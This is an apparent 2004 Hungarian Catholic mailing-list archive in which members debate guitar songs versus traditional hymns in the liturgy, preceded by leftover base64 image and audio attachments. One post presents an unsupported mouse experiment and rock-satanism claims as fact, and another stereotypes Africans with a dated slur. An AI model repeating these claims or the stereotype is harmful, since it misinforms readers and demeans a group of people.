VwBBVwBGVzw+AABBAABGAGQ+VwBBVwBGVzw+AABBAABGAGQ+VwBBVwBGVzw+AABBAABGAGQ+VwBB VwBGVzw+AABBAABGAGQ+VwBCVwBGVzw+AABCAABGAGQ+VwBCVwBGVzw+AABCAABGAGQ+VwBCVwBG Vzw+AABCAABGAGQ+VwBCVwBGVzw+AABCAABGAGQ+VwBCVwBGVzw+AABCAABGAGQ+VwBCVwBGVzw+ AABCAABGAGQ+VwBDVwBGVzw+AABDAABGAGQ+VwBDVwBGVzw+AABDAABGAGQ+VwBDVwBGVzw+AABD AABGAGQ+VwBDVwBGVzw+AABDAABGAGQ+VwBDVwBGVzw+AABDAABGAGQ+VwBDVwBGVzw+AABDAABG AGRAVwBDVwBGVzxAAABDAABGAGRAVwBDVwBGVzxAAABDAABGAGRAVwBDVwBGVzxAAABDAABGAGRA VwBDVwBGVzxAAABDAABGAGRAVwBDVwBGVzxAAABDAABGAGRAVwBDVwBGVzxAAABDAABGAGRAVwBD VwBFVzxAAABDAABFAGRAVwBDVwBFVzxAAABDAABFAGRAVwBDVwBFVzxAAABDAABFAGRAVwBDVwBF VzxAAABDAABFAGRAVwBDVwBFVzxAAABDAABFAGRAVwBDVwBFVzxAAABDAABFAGQ/VwBCVwBFVzw/ AABCAABFAGQ/VwBCVwBFVzw/AABCAABFAGQ/VwBCVwBFVzw/AABCAABFAGQ/VwBCVwBFVzw/AABC AABFAGQ/VwBCVwBFVzw/AABCAABFAGQ/VwBCVwBFVzw/AABCAABFAGQ/VwBCVwBFVzw/AABCAABF AGQ/VwBCVwBFVzw/AABCAABFAGQ/VwBCVwBFVzw/AABCAABFAGQ/VwBCVwBFVzw/AABCAABFAGQ/ VwBCVwBFVzw/AABCAABFAGQ/VwBCVwBFVzw/AABCAABFAGQ+VwBDVwBGVzw+AABDAABGAGQ+VwBD VwBGVzw+AABDAABGAGQ+VwBDVwBGVzw+AABDAABGAGQ+VwBDVwBGVzw+AABDAABGAGQ+VwBDVwBG Vzw+AABDAABGAGQ+VwBDVwBGVzw+AABDAABGAGRAVwBDVwBGVzxAAABDAABGAGRAVwBDVwBGVzxA AABDAABGAGRAVwBDVwBGVzxAAABDAABGAGRAVwBDVwBGVzxAAABDAABGAGRAVwBDVwBGVzxAAABD AABGAGRAVwBDVwBGVzxAAABDAABGAGQ8VwBBVwBFVzw8AABBAABFAGQ8VwBBVwBFVzw8AABBAABF AGQ8VwBBVwBFVzw8AABBAABFAGQ8VwBBVwBFVzw8AABBAABFAGQ8VwBBVwBFVzw8AABBAABFAGQ8 VwBBVwBFVzw8AABBAABFAGQ+VwBBVwBHVzw+AABBAABHAGQ+VwBBVwBHVzw+AABBAABHAGQ+VwBB VwBHVzw+AABBAABHAGQ+VwBBVwBHVzw+AABBAABHAGQ+VwBBVwBHVzw+AABBAABHAGQ+VwBBVwBH Vzw+AABBAABHAGQ8VwBBVwBFVzw8AABBAABFAGQ8VwBBVwBFVzw8AABBAABFAGQ8VwBBVwBFVzw8 AABBAABFAGQ8VwBBVwBFVzw8AABBAABFAGQ8VwBBVwBFVzw8AABBAABFAGQ8VwBBVwBFVzw8AABB AABFAGRAVwBDVwBGVzxAAABDAABGAGRAVwBDVwBGVzxAAABDAABGAGRAVwBDVwBGVzxAAABDAABG AGRAVwBDVwBGVzxAAABDAABGAGRAVwBDVwBGVzxAAABDAABGAGRAVwBDVwBGVzxAAABDAABGAGQ8 VwBBVwBFVzw8AABBAABFAGQ8VwBBVwBFVzw8AABBAABFAGQ8VwBBVwBFVzw8AABBAABFAGQ8VwBB VwBFVzw8AABBAABFAGQ8VwBBVwBFVzw8AABBAABFAGQ8VwBBVwBFVzw8AABBAABFAGQ8VwBBVwBF Vzw8AABBAABFAGQ8VwBBVwBFVzw8AABBAABFAGQ8VwBBVwBFVzw8AABBAABFAAD/LwA= --------------Boundary-00=_C7I9GSK2QL8000000000 Content-Type: image/gif; name="SndImage.gif" Content-Transfer-Encoding: base64 Content-ID: <2A28BC8C-3D7D-46E7-B906-0B1EB00A728D> R0lGODlhPwA/ANX/AMDAwHEEBeKBgt9jaNQqMtpKUWlpavLy87m/4GNvqW98vWdzr19qoFBZhniE woWQx3R7nqy02Z+gpebn7DxEZjU8WlhjlWt5tEZPdZGczp2n0sbM5DE3SyctPcXGyRweIlRVV9fZ 3Xt8fY2PkE5+eK/Px7C0s7MZCOekocsGBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAAALAAAAAA/AD8AQAb/QIBw SCwaj8ikcslMIjYIRESTeUAMBsjFobg0v82NGDp9KCwYCghkEIlGI4nJ5EjYwclIRKrXPOoPGVQZ VQ4LaBQcHRIScGtYHCMHE1wJFnhIJh1FHZ0dDBYWDaMYpRSnIyETkwetrhEKoJizSBy2HBW5FSIh rRMSpkYEAwUntMfItCkpRMsAzs5DyycnzEXR0NZC0QDVyd/g4WNREYUMa2xtbxB2DEQCAgQBAbQI JWJSGhpR5GVnGBU4gIjDSI4HDyFCbOiSgMQ3EqAapAnY4YOFLQoyLrAkkUJAWx8+cHDD4UMvSrHc FZnHct4SdFgMgKhY5JRHXRVOQejlypUG/1EYwgkF4KmTSiUuj3E7svSaNmRNh0qdSrXqkRJ99FV5 8MAqmCdkqDy4gOFRGwgL0h5BgaLA03D38E3JUAeN2TcE7SwgciKpVH7k/FxAUyEdXjkmDprYeBRZ CbByq2iY0qeKggQNPHaYM0fEIxETQle6lIyrAy4XGHS8wNW0gwuY09jC8ijOiA8GJo02Ak8AMQIp 6CURQbFixQ+f7CRgELGjRwMhQ3bg5WqDIebgRogoImGTEBISS6WxSaGBh1U9fdVp0BhcUe9Gct3K RQHDCPSv0AT1+kVRB0W34KILEvNQIxx/CDKRgjFJRJXgMwxuw0w2zSzzloQYekPhhMx4g//hgyCG KOKIJJZIBCH6DGIiEo/lI5ZrDqwoxBOBVQEBTGhdcIFDawVn1Th6FNIATGcpZwRbxRw4VFxh/YEZ TG7Awc4dQwDHElXjSFHFIWUZ9gYji9nBI39g8VPOeh4ZBgdiHjzQjlVRTAbYXGh2wEaUbCIUwQUL tHdMCQkBKYgehFJhiESKJObBHI1IoMoEIVQy5jH8yOWHAoKkSIgZoiSyGaMgCCSTCbpdRhoymWpl hmqBELKVqQApop0IMhkAx3SlWnIkWyj4diERXfQJlEccMKDAH6cp0GdHtqDDgQFyQCcJSssZQY2B VybREUXSYbCAjnwuN2wux0UXEqkHRJq4mp/HdIKcdB9gwFwoooRnkwQHIZTeAQhcF053RWgyxCjh jWcTBBvs60oGhzQQzhsAcGYCdESI59FN9+LX0wYcDWVudPANcRNOp5i37wQQAFVigAKW50FPKAdD BJIhAmhLLiScJ4FNflIzjYjvdQIgUtnKaPTRSGOy4DO/OvhhMg5ayCHTEmo4tVMWSpN1NdFwrU1U S2341M9MWZNNhNwsGOHTfGVNIdMUcu3Uh1JTPYTXWiett1RBAAA7 --------------Boundary-00=_C7I9GSK2QL8000000000 Content-Type: image/gif; name="IMSTP.gif" Content-Transfer-Encoding: base64 Content-ID: <99FB8EA0-3AAB-42B7-8730-367F51C3D4C5> R0lGODlhFAAPALMIAP9gAM9gAM8vAM9gL/+QL5AvAGAvAP9gL////wAAAAAAAAAAAAAAAAAAAAAA AAAAACH/C05FVFNDQVBFMi4wAwEAAAAh+QQJFAAIACwAAAAAFAAPAAAEVRDJSaudJuudrxlEKI6B URlCUYyjKpgYAKSgOBSCDEuGDKgrAtC3Q/R+hkPJEDgYCjpKr5A8WK9OaPFZwHoPqm3366VKyeRt E30tVVRscMHDqV/u+AgAIfkEBWQACAAsAAAAABQADwAABBIQyUmrvTjrzbv/YCiOZGmeaAQAIfkE CRQACAAsAgABABAADQAABEoQIUOrpXIOwrsPxiQUheeRAgUA49YNhbCqK1kS9grQhXGAhsDBUJgZ AL2Dcqkk7ogFpvRAokSn0p4PO6UIuUsQggSmFjKXdAgRAQAh+QQFCgAIACwAAAAAFAAPAAAEEhDJ Sau9OOvNu/9gKI5kaZ5oBAAh+QQJFAAIACwCAAEAEAANAAAEShAhQ6ulcg7Cuw/GJBSF55ECBQDj 1g2FsKorWRL2CtCFcYCGwMFQmBkAvYNyqSTuiAWm9ECiRKfSng87pQi5SxCCBKYWMpd0CBEBACH5 BAVkAAgALAAAAAAUAA8AAAQSEMlJq7046827/2AojmRpnmgEADs= --------------Boundary-00=_C7I9GSK2QL8000000000 Content-Type: Image/gif; name="Light_stripes.gif" Content-ID: <0279994D-D45C-4291-A25F-81F6E6E8A09C> Content-Transfer-Encoding: base64 R0lGODlhsAQMAKIAAOj09/////b7/PH298zV2Nzg4err6+Tu8SH5BAAAAAAALAAAAACwBAwAAAP/ CAoyBCOIttpbOOvNu/9gKI5kaZ5oqq5s675wLM90bd94ru987//AoHBI/FgWhILgoDgWn9CodEqt Wq/YrHbL7Xq/4LAnQCYPCmSBYaI2o8vwuHxOr9vv+Lx+z+/7/4CBgoOEhYaHiImKi4yNjo+QkZKT lJWWl5iZmpuccxhOFQEFB6BipqeoqaqrrK2ur7CxsrM+pRACBUoOtLy9vr/AwcLDxMXGxx9xZ3Jq a7id0NHS09TV1tfY2drb3N3e3+Dh4nefu5+iuhfI6+zt7u/w8fLz9Fq2E0m29fv8/f7/AAMKHAhF 2Rs4DiIsG8ewocOHECNKnEixosWLGDNSKvdgPEATAQQe6CNIsqTJkyhTqlwZ6wgbXASYjGRJs6bN mzhz6rRpUEIDXALKLNRItKjRo0iTKl3KtKnTp3USAAA7 --------------Boundary-00=_C7I9GSK2QL8000000000-- From csil64@yahoo.com Mon Mar 8 18:51:57 2004 From: csil64@yahoo.com (Laci Csilcser) Date: Mon, 8 Mar 2004 10:51:57 -0800 (PST) Subject: [Liturgia] Zene Message-ID: <20040308185157.27952.qmail@web20813.mail.yahoo.com> De jó lenne Kölcsey Himnuszát (legszentebb imádságunkat) is elénekelni néha (mindig!) a templomban! Főleg a határon túli részeken, ahol sajnos tilos idegen államok himnuszát énekelni. Lám a református templomokban lehet, sőt rendszerint ezzel ér véget a mise. Tehetik, mert felvették zsoltáraik közé. Laci (Nagyvárad) __________________________________ Do you Yahoo!? Yahoo! Search - Find what you’re looking for faster http://search.yahoo.com From kovacser@tippnet.co.yu Tue Mar 9 23:55:46 2004 From: kovacser@tippnet.co.yu (kovacser) Date: Wed, 10 Mar 2004 00:55:46 +0100 Subject: [Liturgia] =?iso-8859-2?Q?L=E9tezhet_-_e_alternat=EDva=3F?= Message-ID: <001501c40632$0c268900$8834c8d4@racunar> Kedves Listatagok! A gitáros misék témájához szeretnék hozzászólni, mégpedig a liturgia alapelveiből kiindulva. Ismételten elhangzik az az érv, miszerint a liturgiában elhangzó énekek megítélésének egyetlen kritériuma az, hogy hívő lélekkel, lelkesen és áhítattal énekeljék és fejezzék ki a konkrét közösség vallási érzését és lelkivilágát. Én ebben súlyos szubjektivizmust vélek felfedezni, mely veszélyezteti a liturgia objektív jellegét. Hiszen a liturgia nem csak keret és alkalom, hanem eleve adott tartalom, mely nem a múlandó és változó dolgok kifejezésére hivatott, hanem az örök és változatlan isteni valóságok, hitigazságok kifejezésére és megjelenítésére, mégpedig azért, hogy hozzáalakíthassuk magunkat. Egy alapkérdésről van szó: mi csináljuk a liturgiát saját igényeink szerint, vagy engedjük, hogy a liturgia formáljon minket? Továbbmenve: mi alakítjuk a dogmatikai és erkölcsi igazságokat, vagy azok alakítanak minket? Végső soron: mi teremtünk Istent saját képünkre és hasonlatosságunkra, vagy Ő minket? Sokszor deszakralizáljuk és leépítjük a liturgia öröklött formáit, mondván hogy az csak emberi mű, tehát szabadon változtatható. Egyes haladó vidékeken ezt már a Szentírással is megcsinálták. Halottuk, hogy Franciaországban az evangéliumon kívüli olvasmányok nem számítanak többé Isten igéjének. Svájcban pedig levonták ennek gyakorlati következményét: akkor miért ne helyettesítenénk őket valami modernebb dologgal: népmesével, szerelmes verssel, evergreen dallal, stb. Az ósdi ószövetségi olvasmányok, érthetetlen szentleckék és uncsi evangéliumok helyett, miért ne tennénk be valami izgi újat, ami közelebb áll a modern ember mentalitásához és túl sok magyarázatot nélkül is érthető? (Előbb - utóbb nálunk is felmerül majd az ötlet. Ne magyarázzuk azt, amit nem értenek az emberek. Cseréljük fel olyasmivel, amit azonnal megértenek!) Ha viszont szétnézünk a keleti egyházban, kiderül, hogy ott a liturgiát kb. a VIII század óta máig szinte változatlan fomában végzik. Próbáljunk rávenni egy ortodox (vagy görög katolikus) hívőt, hogy gitáros énekekkel helyettesítse Aranyszájú Szt. János (ósdi?) szövegeit vagy pl. modernizálja azok zenei formáját, vagy korszerűsítse a liturgikus ruhákat vagy az ikonok helyett absztrakt nonfiguratív képekkel díszítse templomát. Elképzelhetetlen. Mint ahogy egy muzulmán, zsidó, hindu vagy buddhista sem mondana le áthagyományozott és a saját kultúrkörében szakrálisnak számító (túlhaladott?) liturgikus formáiról. (A Párizsban megrendezett hagyományos hindu körmeneteket sokkal nagyobb érdeklődés kíséri, mint a korszerűsített katolikus? liturgiát.) Református testvéreinknél is láthatjuk, mennyire erősen ragaszkodnak pl. Károlyi bibliafordításukhoz, mint szakrális nyelvezethez. Más vallásokban is találkozunk a kultikus (változtathatatlan) nyelv jelenségével. Még a népnyelvű liturgiájáért dícsért ortodoxia sem használja mindenhol a nép mai élő nyelvét. Pl. a szerb ortodoxok ószlávul végzik szertartásaikat, melyet egy mai szerb annyira ért, mint olasz vagy francia ember a latint. Mindezek szűklátókörű, fantáziaszegény és begyöpesedett emberek lennének? Talán csak úgy vélik, hogy a liturgia örökérvényű tartalmakat fejez ki, melyek az évszázadok folyamán úgy összenőttek nyelvi, zenei, művészeti formáikkal, hogy azoktól elválasztva és más formákba öltöztetve többé nem maradnának ugyanazok. A fordítók is tudják, hogy más nyelvre lefordítva ugyanaz a mondat nem ugyanazt jelenti, hiszen kiragadtuk természetes közegéből, kapcsolatrendszeréből. Vitatom tehát azt a nézetet, miszerint a liturgia minden részében világosan elkülöníthető lenne a változó forma a változtathatatlan lényegtől. De ha igen, ezt csak alapos kutatás után teheti meg a legfőbb egyházi tekintély. Az örökérvényű, kinyilatkoztatott tartalmat védik a liturgikus törvények is. Bár a szabály van az emberért és nem fordítva, de csak az a szabály lehet értünk, melyet ismerünk és betartunk. Őrizd meg a rendet és a rend megőriz téged. A modern rock - pop - rap stb. zene liturgiai alkalmassága, gyökerei, mondanivalója, profán jellege kapcsán egy nagyszerű könyvet találtam "A keresztény rockzene" címmel, egy hívő református orvosnő, Dr. Kőrössy Soltész Katalin tollából. Pár éve vettem a Ferenciek terén az Ecclesiában. Orvosi kutatások alapján az ifjúság körében tapasztalható destruktív jelenségeket az általuk hallgatott zene pszichológiai és tudatalatti hatásaira vezeti vissza. (Egy orvosi kísérlet: egereknek játszottak 3 héten át napi 10 óra zenét. A Mozártot hallgató egerek ezután 5 perc alatt tudtak átjutni a labirintuson, a rockot hallgatók pedig 30 perc alatt, de többen meg sem próbálták, hanem egymásra támadtak.) Meggondolandó, hogy a hangos és kirobbanó orgonazene hatására még sohasem történt tömeghisztéria, mint mikor némely rockkoncert után a közönség összeveri a termet és egymást. Sátánista üzenetek terjesztésére sem használtak soha gregoriánt, Palestrinát vagy Bachot, de pop - rockot igen. Persze nagy különbség van az egyes modern zenei stílusok között (negatív hatásainak mértékében is), de valamennyi mégis a posztmodern, keresztény hittel és kultúrával szembeforduló, egyre dekadensebbé és önpusztítóvá váló életstílusnak (materialista, hedonista, felszínes, érzéki, lázadó "dionüzoszi" kultúrának) a gyümölcse. Ha kijelentjük, hogy a mai fiatalokat az Evangélium és az Egyház tanítása csak a gitáros énekek által tudja megérinteni, ez szerintem lebecsülése az Evangéliumnak és a fiataloknak egyaránt. Mintha az Evangélium önmagában egy keserű pirula lenne, mely lenyelhetetlen (sőt hatástalan) a könnyűzene édes burka nélkül. Mintha a fiatalok annyira elveszítették volna szép - és értékfelismerő képességüket, hogy az egész nyugati kulturális örökséget elvetve csak a hagyományoshoz képest mégiscsak sokkal alacsonyabb szintű népszerű stílust értékelnék. Én viszont úgy tapasztalom, hogy amely fiatalt megérinti a keresztény üzenet, azt gitáros énekek nélkül is megérinti, akit pedig nem, azt a gitáros ének sem tudja (tartósan) Krisztushoz vonzani, hiszen a világi rock úgyis sokkal felrázóbb és izgalmasabb vallásos formájánál. A gitáros zene szerintem sokkal inkább egyes lelkipásztorok és hitoktatók szemében tűnik nélkülözhetetlennek (akiknek lelkipásztori buzgóságát, jószándékát nem kívánom kétségbevonni). Bizonyára van akit eleinte a gitáros énekek vonzottak a hithez, de szerintem ezeken tovább kellene lépnie. Isten sokszor alkalmatlan emberi, zenei, nyelvi eszközökön keresztül is képes csodálatosan működni, de ez magát az eszközt nem teszi jóvá. (Mondjuk valaki a Jehova tanúi által ismerkedik meg a Szentírással, a hívő élettel, utána szerencsés esetben továbblép a teljesebb igazság felé. Ez viszont még nem igazolja Jehova tanúit.) Mi lehet a gitáros énekek alternatívája? A XVI - XVII századi népénekeink tényleg olyan komorak, örömtelenek és üresek, hogy csak taszítani képesek? Egyesek talán, de az emberiség és népünk tényleges állapota ma sem ad túl sok okot a vidámságra. Ez itt mégiscsak a harc és megpróbáltatás ideje. Kifejezik viszont népénekek a hitigazságokat (pl. a szentmise áldozati jellege, Krisztus valóságos jelenléte az Eucharisztiában), továbbá az Isten előtti imádást, hódolatot, mely egyszerre jelent félelmet és vágyódást, csodálatot (mysterium tremendum et fascinosum), a bűnbánatot, az Isten akaratának, a keresztnek elfogadását, mely témák eléggé hiányoznak a gitáros énekekből. A szentírási szövegeket és témákat, valamint a keresztény életöröm, remény üzenetét pedig bőven tartalmazzák a zsoltárok, az ókeresztény és patrisztikus korból származó örökszép antifónák, himnuszok, melyekkel pl. az Éneklő Egyház kiegészíti a népénekgyűjteményt. Így valósul meg a Zsinat óhaja, hogy az énekek szövege a Szentírásból és a liturgikus forrásokból származzon, dallamuk pedig legyen gregorián, klasszikus polifónia vagy más szakrális zene. Az ÉE sem tökéletes, de jelenleg a legjobb magyar ima - és énekkönyv. Lassan majd javítják, kiegészítik, lesznek igényesebb orgonakíséretek. Tapasztalatom szerint a kezdeti idegenkedés után igenis képes megnyerni a hívő fiatalok tetszését. Csak meg kellene próbálni kellő tapintattal, szeretettel, szakértelemmel és katekézissel. Kovács Ervin From pestifor@axelero.hu Wed Mar 10 07:43:30 2004 From: pestifor@axelero.hu (pestifor) Date: Wed, 10 Mar 2004 08:43:30 +0100 Subject: [Liturgia] =?iso-8859-2?Q?RE:__L=E9tezhet_-_e_alternat=EDva=3F?= In-Reply-To: <001501c40632$0c268900$8834c8d4@racunar> Message-ID: <000001c40673$625108a0$5533fea9@iroda> Kedves Ervin, Nagyon sokat árnyalta a liturgiáról alkotott elképzelésemet (többnyire csak olvasom a listát, és mindenkinek köszönöm a közzétett gondolatokat; sok kincset kaptam így, amit most is megköszönök :-) Egy szakaszon azonban nem tudok azonosulni a nézőpontjával. Fölmerült gondolataim, észrevételeim: 1) A taizé-i énekek nem pop-rockba sorolható énekek, mégis előfordul, hogy gitárral kísérik. Az ún. "gitáros énekek" kategóriába tartozónak gondolja-e? 2) Mindig tartok egy kicsit az általánosítástól. Érdekelne, hogy az "Áldjad én lelkem az Urat!" (válogatás a karizmatikus megújulás dalaiból alcímű) könyv összes dalát abba a kategóriába sorolja, amelyik nem való a liturgiába, vagy csak egyeseket? Nyilván nem a teljesség igényével, de mégis érdekelne akár csak egy-két ének megnevezésével, hogy melyeket tart énekelhetőnek a szentmise alatt és melyeket kimondottan nem. Az erre adott válasza segíthetne abban, hogy megértsem, hogy pontosan mire gondol a megírt levelében. 3) A következő rész számomra kicsit ellentmondásosnak tűnik. (...) > Bizonyára van akit eleinte a gitáros énekek vonzottak a hithez, de szerintem > ezeken tovább kellene lépnie. Isten sokszor alkalmatlan emberi, zenei, > nyelvi eszközökön keresztül is képes csodálatosan működni, de ez magát az > eszközt nem teszi jóvá. (Mondjuk valaki a Jehova tanúi által ismerkedik meg > a Szentírással, a hívő élettel, utána szerencsés esetben továbblép a > teljesebb igazság felé. Ez viszont még nem igazolja Jehova tanúit.) > Mi lehet a gitáros énekek alternatívája? A XVI - XVII századi > népénekeink tényleg olyan komorak, örömtelenek és üresek, hogy csak > taszítani képesek? Egyesek talán, de az emberiség és népünk tényleges > állapota ma sem ad túl sok okot a vidámságra. Ez itt mégiscsak a harc és > megpróbáltatás ideje. Kifejezik viszont népénekek a hitigazságokat (pl. a > szentmise áldozati jellege, Krisztus valóságos jelenléte az > Eucharisztiában), továbbá az Isten előtti imádást, hódolatot, mely egyszerre > jelent félelmet és vágyódást, csodálatot (mysterium tremendum et > fascinosum), a bűnbánatot, az Isten akaratának, a keresztnek elfogadását, > mely témák eléggé hiányoznak a gitáros énekekből. A szentírási szövegeket és > témákat, valamint a keresztény életöröm, remény üzenetét pedig bőven > tartalmazzák a zsoltárok, az ókeresztény és patrisztikus korból származó > örökszép antifónák, himnuszok, melyekkel pl. az Éneklő Egyház kiegészíti a > népénekgyűjteményt. Így valósul meg a Zsinat óhaja, hogy az énekek szövege a > Szentírásból és a liturgikus forrásokból származzon, dallamuk pedig legyen > gregorián, klasszikus polifónia vagy más szakrális zene. Az ÉE sem > tökéletes, de jelenleg a legjobb magyar ima - és énekkönyv. Lassan majd > javítják, kiegészítik, lesznek igényesebb orgonakíséretek. Tapasztalatom > szerint a kezdeti idegenkedés után igenis képes megnyerni a hívő fiatalok > tetszését. Csak meg kellene próbálni kellő tapintattal, szeretettel, > szakértelemmel és katekézissel. 3/a) Hiszen az ún. gitáros énekek szövegeinek a legnagyobb része szintén szentírási részeken alapul: Zsolt 22; Jud 16, 14-16; Zsolt 148; Mt 6,33; Mt 4,4; Szent Teréz imája; Iz 42, 6-10; itt csak elkezdtem sorolni a már említett könyvben az énekeknél jelölt helyeket. Ennyiben nemigen látok különbséget a gitáros és a népénekek között. 3/b) A rész alapján nekem különösen is úgy tűnik, mintha a zenei kíséret döntene abban, hogy melyik zene való a liturgiába és mi nem. Ami nem kap kísértet, vagy orgonakíséretet kap, az megfelelő, ami gitárosat, az nem. 3/c) A fentiektől függetlenül érdekelne, a véleménye a következőben: sajnos nem vagyok nagy zenei szakértő, de vettem már részt olyan misén, ahol valamelyik klasszikus zeneszerző Kyrie-jét, stb, "énekeltük" volna, ha be tudtunk volna kapcsolódni, de én pl. egyáltalán nem tudtam bekapcsolódni: a zene szép volt, végül is elmélkedni, imádkozni lehetett alatta, de a hívek nem énekelték. Ön szerint liturgiára valók-e ezek a zenék, énekek vagy sem? 3/d) A gitáros énekekhez nem venném hasonlítási alapul a Jehova Tanúit; bár értem, hogy mit szeretne ezzel mondani. Akkor sem egy kategória. A Jehova Tanúi egy kicsavarodott hitféleséget közvetítenek (mégha az egyes személyek buzgalma tiszta szívből is jön), az általam ismert gitáros énekekben pedig a katolikus tanítás tükröződik. Örülnék, ha fölhívná a figyelmemet olyan gitáros énekekre, amelyekre ez nem igaz. 3/e) Végül szerintem a népénekek komorsága is elég egyoldalú. Pl. vegyük az utolsó vacsorát: egyszerűen nem tudom úgy elképzelni, hogy nagy szomorúan és csöndben, magukban elmélkedve ültek az apostolok. Egy csomó ételt ettek, nagy eseményre készültek (bár az igazi nagyságát akkor még nem látták) és tudtommal ilyenkor zsoltárokat szoktak énekelni és táncolnak (!) is hozzá. A táncról úgy tudom, hogy liturgikus tánc. Az evangélium hirdetése is örömhír. Öröm! Az öröm nem lehet mindig annyira visszafogott, mint amennyire a népénekek viszafogottak. Dávid táncolt az Úr ládája előtt: ünnepség volt. Ünnep! Az ünnepélyesség még áthat a népénekek hangzásvilágán - de nem az ünnep! Nem "csak" elmélkedni megyek a misére, hanem találkozni Vele. Számomra a népénekek egyoldalúsága abban rejlik, hogy a hitünk tartalma felé irányítja a tekintetünket (szerintem arra sem mindig szerencsésen) - de a megélése felé nem. Mielőtt esetleg félreértenének: nem arról szeretnék szólni, hogy mindig érezzünk valamit. Hanem arról, hogyha jel, akkor legyen valóban liturgikus jel. Ha a "Halleluja!" Istent üdvözlő és ünneplő örömteli fölkiáltás, akkor lehetőleg ne úgy kelljen énekelni az "Allelúját", hogy inkább elmélkedni lehet alatta, hanem inkább úgy hogy az embert arra indítsa, hogy fölálljon (és ne csak azért álljon föl, mert most az következik a misében) és ezzel nemcsak testében, hanem lelkében is közelebb kerüljön az Úrhoz, aki üdvösségünk és örömünk forrása. Valóban azok az emberek, akiknek a hite már érlelődött, ezen túl tudják tenni magukat, és a tőlük telhető teljességgel részt veszenk a szentmise liturgiájában. Magamat is ide sorolom, noha - és itt most talán egy kis elfogultságom is elő fog bukni :-) mert az én fő megtérésem körül is jelentős szerepe volt az ún. gitáros énekeknek - engem nem zavar a viszonylag szépen énekelt gitáros énekek sem. Sokszor kiemelik számomra a mise közösségi és ünnep jellegét; ezek a legtöbb organakíséretes liturgia során számomra nem jutnak el "üzenetként", kimondottan észben kell tartanom, hogy itt nemcsak a magam kis Isten-kapcsolatáról van szó. 3/f) Örömmel énekelnék gregoriánt, és klasszikus polifónikus (bár ez utóbbit nem tudom pontosan mi, csak elképzelem a neve után, hogy a keleti többszólamos dallamokra emlékeztető énekek lehetnek? Köszönöm, ha fölvilágosítanak róla) énekeket - de nekem ezt sehol sem tanítják. Különösen nem úgy, hogy misén énekelhessem (nem mint énekkaros, mert arra esélyem sincs, de mint egy egyszerű hívő, a padban). Csak egy-két ünnepi, vagy kimondottan "gergorián" misén találkoztam a gregoriánnal, de azokon sem emlékszem, hogy a hívek énekeltek volna. Úgy tűnik, mintha a népénekek mellett lennének olyan kincseink, amik alkalmasak lennének a népénekek "hiányosságait" kiegészíteni - de az egyszerű hívő nemigen találkozik ezekkel. Addig - szerintem - mindenképpen van jelentősége az időnkénti ún. gitáros miséknek. 3/g) És végül azzal kapcsolatban, hogy túl kellene lépni a gitáros énekeken. Mi a családban, csak egy-két népéneket szoktunk énekelni, sokkal több ún. gitárosat (3 kisgyerekünk van: 9 és fél, 6 és fél, 4 és fél évesek). Ha játék közben rázendítenek olykor, akkor a legritkább esetben szoktak népéneket énekelni (ha mégis, akkor többnyire Máriás énekeket). Pedig az óvodából és miséről, és még itthonról is ismerik a népénekek egy részét. A miséken a gyerekek viszont szinte mindig csak a népénekeket hallják. Ezért FONTOSNAK TARJUK időnként, hogy ún. gitáros misére is elmenjünk velük, találkozhatnak olyan énekekkel, amelyek beleépülnek a mindennapi kis gondolkodásukba, tevékenységeikbe, amik ismerősek nekik a mindennapokban - és a templom és az otthon ezzel nem válik annyira ketté (hiszen egy kisgyerek számára a templomben szinte minden más, mint otthon). De ez már nem annyira szorosan tartozik a témához. 3/h) Mit ért "más szakrális zene" alatt? Röviden: úgy gondolom, hogy kellő válogatással és megfelelő igényességű zenével (ami egyébként a népénekekre is vonatkozik) kaphatnak létjogosultságot az ún. gitáros énekek is a liturgiában. Nem érzem azt, hogy egy az egyben el kellene zárkóznunk ezektől az énekektől. Arra valóban ügyelni kell, hogy a megfelelő helyekre a megfelelő tartalmú énekek kerüljenek. Köszönöm, hogy eléggé laikus véleményemet végigolvasták, és szívesen tanulok Önöktől, akár a levelemben írtak kritikájából, akár a további levelekből. + Marian From deba@dpg.hu Wed Mar 10 08:26:22 2004 From: deba@dpg.hu (=?iso-8859-2?q?Decsi=20B=E1lint=20?=) Date: Wed, 10 Mar 2004 09:26:22 +0100 Subject: [Liturgia] =?iso-8859-2?q?Re=3A=20L=E9tezhet=20=2D=20e=20alternat=EDv?= =?iso-8859-2?q?a=3F?= Message-ID: Tisztelt Kovács Ervin! Bár a levelét nem csak nekem írta, személy szerint, hanem mindenkinek, aki e listán szerepel, szeretném megköszönni a hozzászólását a témához. Viszont levelében többször is olyan érveket vetett fel a gitáros énekek ellen, amelyek csúsztatásokon alapulnak, és nem fedik a listán eddig megjelent levelek tartalmát. A megszólalásokból ítélve, mint gitáros fiatal, kissebségben érzem magam, de a liturgia "törvényszerűségeit" megértettem, és nem áll szándékomban ezeket megsérteni. Senki nem akarja a népénekeket felváltani teljesen a gitáros énekekkel, és nem akarja senki sem a liturgiát helyettesíteni más szövegekkel, előadással. Sőt, Isten igéi helyett sem akarunk Petőfi összest olvasni. Nem erről van szó, és nem is arról, hogy a fiatalokat csak a kőkemény metál, vagy a rockzene képes csak megszólítani. Csupán arról, hogy engedjen teret az Egyház ennek a műfajnak is, természetesen a lehetőségeken belül. Az, hogy különbség van a keleti és nyugati ember gondolkodásmódja, életformája, vallási szokásai között, az természetes. Hisz nem vagyunk egyformák. Egy afrikai négernek a Boldogasszony Anyánk című himnuszunk semmit sem fog mondani, mégis tagja lehet Egyházunknak, én pedig rendületlenül éneklem a többi népénekkel együtt, és még büszke is vagyok. No de a néger, fog dobolni, fűszoknyában vagy hiányos öltözékben táncolni a szentmisén, és lehet, hogy temploma sincs, nemhogy orgonája. Mégis uyanolyan szentmisén vesz részt, mint mi. Az, hogy a liturgia szövege a köznép számára érthetetlen nyelven szólal meg, szerintem alkalmatlanná teszi a szerves részvételt. Nem arról van szó, hogy én soha nem megyek külföldön misére, hanem arról, hogy rendszeresen az érthetetlen szó nem tud átadni megfelelő tanítást. A liturgia egy "misztikus" közegbe van burkolva, a papok inkább beavatott varázslónak tűnnek, mintsem Isten szolgáinak. Ez nekem távoli, elfogadhatatlan. Lehet, hogy túl nyugati, felvilágosult vagyok, vagy túl jártas a világi dolgokban. De ettől még maradok katolikus, egyetemes vallású. Az egyház ugyanazt nyújtja a Magyaroknak, az Oroszoknak, az Ausztrálnak, stb... Pedig a népek között számos különbség van, nemzeti hagyomány, műveltség, 